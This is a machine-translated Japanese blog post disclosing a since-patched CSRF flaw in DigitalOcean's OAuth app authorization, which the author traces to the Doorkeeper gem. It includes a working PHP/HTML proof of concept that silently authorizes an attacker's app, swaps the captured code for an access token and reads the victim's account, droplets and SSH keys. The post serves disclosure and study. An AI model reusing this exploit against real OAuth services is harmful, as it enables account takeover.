昨年9月、私はDigital Ocean(DO)の非常に攻撃的なPR会社に出会い、そのサービスを使用することにしました。 その瞬間から、私は(広告ではなく)Amazonを放棄し、完全にDOに切り替えました。
![画像](https://habrastorage.org/getpro/habr/post_images/6a1/b01/d77/6a1b01d773bd770f01ac7e0b01078d75.png)
また、サービスをより多く使用し、データでそれを信頼するほど、その仕組みをより詳しく調べます。
DO WebはRoRで記述され、GO / Perlもどこでも使用されます。データベースはMariaDB / PostgreSQLです(両方が同じ製品に含まれていることは非常に奇妙です)。 そして、いくつかのセキュリティレポートから、最も簡単なバグと最大の影響(他人のアカウントの制御の奪取)が既に修正されたレポートを選びたいと思います。
集合場所
むかしむかし、 APIセキュリティについての記事を書いたのですが、そこにある脆弱性を調べる方が良いと思います 。 アカウントと機能を調べたところ、そこにあることに気付きました。 開発者アプリケーションを作成できます。
![](https://habrastorage.org/files/4f4/45a/1ea/4f445a1ea8d44d18a6db74f9e7a2ddb0.png)
アプリケーション作成ウィンドウ
アプリケーションからアカウントへのアクセス
-文書読んだdevelopers.digitalocean.com 、それは私のリンクの種類を与えた後、私はアプリを作成することができることを実現APIの新バージョンの発売を検討する- cloud.digitalocean.com/v1/oauth/authorize?client_id=34fc7d56883b7e33b2f305642acb5ec6e5a14271ba83084dc6a0ca2b22d29555&redirect_uri=https%3A%2F %2Fsergeybelove.ru%2Fexploits%2F&response_type = code
![](https://habrastorage.org/files/45a/ca9/9e1/45aca99e1245479786d0cdc6cd5abf3b.png)
アカウントアクセスリクエストの例
urlでは、scopeパラメーターを設定できます。 権限をモジュールで分割するための一般的なソリューション(ソーシャルネットワークなど-友人、写真アルバムなどへのアクセス)の代わりに、DOのメンバーは別の方法で決定することで、利用可能な操作-読み取り|書き込み(パラメーターを明示的に指定せず読み取り専用)、すべてのモジュールへのアクセスを一度に許可します。 最適なソリューションとはほど遠い。
攻撃ベクトル
ユーザーが[アプリケーションの承認]をクリックすると、特別なトークンを使用してコールバックURLに自動的にスローされます。 このトークンは、APIメソッド自体(アカウント情報、ドロップレット管理など)を直接呼び出すために必要な次のトークンを要求するために、その側(開発者)で既に使用できます。
すべての間違いは、アプリケーションのインストール時にCSRF攻撃を行うことができるという事実に還元されました(上の図のリクエストと同じフォームを作成し、フォームのアクションをDOに変更して送信します)。 彼らはCSRFトークンを使用しますが、サーバー側ではチェックしません。
その結果、目的のhtml / jsコードをどこかに配置し、非表示のフレームに配置し、ユーザーに見えないように「悪意のある」アプリケーションをインストールし、access_tokenをキャッチします。
明確にするために、PoCを提供します。 そのようなページでコードにアクセスすると、アプリケーションがインストールされ、access_tokenがキャッチされ、次のコードが要求され、アカウント情報が表示されました。
<html> <body<?php if (!isset($_GET['code'])) echo ' onload="document.forms[0].submit()"'; ?>> <form action="https://cloud.digitalocean.com/v1/oauth/authorize" method="POST"> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="authenticity_token" value="" /> <input type="hidden" name="client_id" value="___ID___FROM_DEV_PANEL__" /> <input type="hidden" name="redirect_uri" value="http://_url_with_exploit" /> <input type="hidden" name="state" value="" /> <input type="hidden" name="response_type" value="code" /> <input type="hidden" name="scope" value="read write" /> <input type="hidden" name="commit" value="Authorize Application" /> <input type="submit" value="Submit request" /> </form> </body> </html> <?php if (isset($_GET['code']) && preg_match("/^([a-z0-9]{64})$/", $_GET['code'])) { // lets exploit $resp = json_decode(shell_exec('curl -X POST "https://cloud.digitalocean.com/v1/oauth/token?grant_type=authorization_code&code='.$_GET['code'].'&client_id=_CLIENT_ID_OF_DEV_APP&client_secret=CLIENT_SECRET_OF_DEV_API&redirect_uri=http://_url_with_exploit"')); $token = $resp->access_token; echo "Your token is: ".$token; echo '<h1>User info:</h1><pre>'; print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/account"'))); echo '</pre><h1>Droplets info:</h1><pre>'; print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/droplets"'))); echo '</pre><h1>SSH keys info:</h1><pre>'; print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com//v2/account/keys"'))); echo '</pre>'; }
その結果、アカウントを完全に制御できます。 使用可能なメソッドのいくつか(scope = read、writeを指定するだけ):
- 液滴の作成、削除
- SSHキーの作成、削除、更新
- ドロップレット画像の移動(他のアカウントへ)
一般的に-たくさん。 この脆弱性にはパッチが適用されますが、残りは残念ながら適用されません。 すぐにそれらについて話すことが判明するかもしれません。
upd:この脆弱性はDO開発者によって許可されていませんが、多くのサイトで使用されているOAuth-Doorkeeperのジャムにあります。